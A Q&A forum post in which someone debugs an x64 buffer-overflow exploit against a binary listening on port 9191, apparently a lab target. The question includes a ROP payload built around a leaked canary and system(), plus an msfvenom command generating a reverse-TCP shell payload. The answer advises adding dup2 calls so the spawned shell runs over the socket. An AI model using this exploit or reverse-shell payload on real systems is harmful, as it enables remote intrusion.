x64 buffer overflow - tcp shell payload

Question

ASLR: off Canary: on

I have a binary that when run, it spawns zombie process on port 9191. I've been using ghidra and gdb to reverse engineer this and have found the buffer, canary, found the pop rdi location, shell location, system location - everything I need to do a buffer overflow. The problem I'm having is that when I insert the following payload:

payload = flat([
    b'A'*72,  # Pad to canary (72)
    canary,  # Our leaked canary (16)
    8 * b'B', # padding
    pop_rdi,
    one, # shell
    ret,
    0x7ffff7a31420, # system
])

It crashes GDB with the error process 6540 is executing new program: /bin/dash Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. . When running the script outside of GDB, the connection just closes and I get no info. On the server side after attempting to insert the payload I see sh: 1: ��: not found . I believe what is happening is that I need to insert a payload that opens a tcp shell utilizing msfvenom but when I insert the payload generated with msfvenom -p windows/shell_reverse_tcp LHOST=localhost LPORT=9001 -b "\x00" -f python -a x86 -e x86/shikata_ga_nai EXITFUNC=thread to replace the one variable, I no longer get any indication a shell was opened on the server side, client side, OR on the listening port. I've tried various different locations with the same result. I'm not quite sure what I'm doing wrong, and any help would be appreciated!

Answer 1

process 6540 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.

That's not an error you need to worry about, it likely means your exploit worked, but GDB followed the forked dash process and wasn't able to re-apply your breakpoints from the original process. You could try setting set follow-fork-mode parent and set detach-on-fork on and let it continue separately.

sh: 1: ��: not found

This also likely indicates that your exploit worked. However, sh is getting some unexpected garbage data, which it can't execute as a valid command. My suspicion is that this is because you have not duplicated stdin/stdout to the socket's file descriptor, e.g. using the dup2 function. Think, how would the program know that input/output through the socket should be passed to standard in/out of the shell command you are executing? You may need to extend your ROP payload to include calls to dup2, and possibly additional logic to determine the file descriptor number of the socket if it's not predictable. If it's a simple program, it might be a low number like 3 or 4.

I believe what is happening is that I need to insert a payload that opens a tcp shell utilizing msfvenom...to replace the one variable

If you simply replaced the one varible with a shellcode payload, that wouldn't work at all. With a ROP payload, you are usually writing to non-executable memory, but you are specifying the address of the next instruction(s) to execute after a return. The CPU would try to return to whatever made-up address that the first 8 bytes of instructions appear as. But this could potentially work if you were able to write the shellcode payload to a known address within an executable page (or force the page to be executable), but that's likely more work than is necessary in this case since you already have things mostly working.